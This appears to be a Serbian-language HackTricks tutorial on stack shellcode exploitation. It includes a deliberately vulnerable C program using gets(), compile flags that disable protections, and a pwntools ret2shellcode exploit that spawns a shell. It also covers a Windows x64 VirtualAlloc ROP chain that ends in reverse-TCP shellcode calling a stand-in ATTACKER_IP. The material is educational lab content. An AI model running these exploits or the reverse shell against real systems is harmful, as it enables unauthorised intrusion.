Stack Shellcode

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Stack shellcode je tehnika koja se koristi u binary exploitation, gde napadač upisuje shellcode na stack ranjivog programa i zatim menja Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokazuje na lokaciju tog shellcode-a, što dovodi do njegovog izvršavanja. Ovo je klasična metoda koja se koristi za sticanje neautorizovanog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. U nastavku je razrada procesa, uključujući jednostavan C primer i kako možete napisati odgovarajući exploit koristeći Python sa pwntools.

C primer: Ranjiv program

Počnimo sa jednostavnim primerom ranjivog C programa:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ovaj program je ranjiv na buffer overflow zbog upotrebe funkcije gets().

Compilation

Da biste kompajlirali ovaj program dok onemogućavate različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Onemogućava stack protection.
  • -z execstack: Čini stack executable, što je neophodno za izvršavanje shellcode smeštenog na stack-u.
  • -no-pie: Onemogućava Position Independent Executable, što olakšava predviđanje memory address gde će naš shellcode biti lociran.
  • -m32: Kompajlira program kao 32-bit executable, često se koristi radi jednostavnosti u exploit development-u.

Python Exploit using Pwntools

Evo kako možete napisati exploit u Pythonu koristeći pwntools da izvršite ret2shellcode attack:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ovaj skript konstruše payload koji se sastoji od NOP slide, shellcode, i zatim prepisuje EIP adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.

The NOP slide (asm('nop')) se koristi da poveća šansu da će izvršavanje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Podesite argument p32() na početnu adresu vašeg buffera plus offset da biste sleteli u NOP slide.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

Na modernim Windows sistemima stack nije izvršan (DEP/NX). Čest način da se i dalje izvrši stack-resident shellcode nakon stack BOF je izgradnja 64-bit ROP chain-a koji poziva VirtualAlloc (ili VirtualProtect) iz module Import Address Table (IAT) da bi region stacka postao izvršan, i zatim se vraća u shellcode dodat odmah posle chain-a.

Ključne tačke (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → izaberite adresu u trenutnom stacku (npr. RSP) tako da novoalokirani RWX region preklapa vaš payload
  • RDX = dwSize → dovoljno veliki za vaš chain + shellcode (npr. 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimalna strategija:

  1. Leak a module base (npr. via a format-string, object pointer, itd.) da biste izračunali apsolutne adrese gadget-a i IAT pod ASLR-om.
  2. Pronađite gadgets za učitavanje RCX/RDX/R8/R9 (pop ili mov/xor-based sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktne pop r8/r9, koristite arithmetic gadgets da sintetizujete konstante (npr. set r8=0 i ponavljano dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
  3. Postavite stage-2 shellcode neposredno posle chain-a.

Primer rasporeda (konceptualno):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Sa ograničenim gadget setom, možete indirektno konstruisati vrednosti registara, na primer:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavlja r9 iz rbx, postavlja r8 na 0 i kompenzuje stack pomoću junk qword.
  • xor rbx, rsp; ret → inicijalizuje rbx sa trenutnim stack pointer-om.
  • push rbx; pop rax; mov rcx, rax; ret → prebacuje vrednost izvedenu iz RSP u RCX.

Pwntools skica (uz poznatu bazu i gadgets):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Saveti:

  • VirtualProtect radi slično ako je poželjnije da postojeći buffer postane RX; redosled parametara je drugačiji.

  • Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na tu novu regiju umesto ponovnog korišćenja stack-a.

  • Uvek uzimajte u obzir gadgets koji podešavaju RSP (npr. add rsp, 8; ret) tako što ćete ubaciti junk qwords.

  • ASLR bi trebalo da bude onemogućen da bi adresa bila pouzdana preko izvršenja, inače adresa na kojoj će funkcija biti smeštena neće uvek biti ista i moraćete da koristite neki leak da biste utvrdili gde je win function učitana.

  • Stack Canaries takođe bi trebalo da budu onemogućeni, inače kompromitovana EIP return adresa nikada neće biti iskorišćena.

  • NX stack zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršna.

Ostali primeri i reference

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks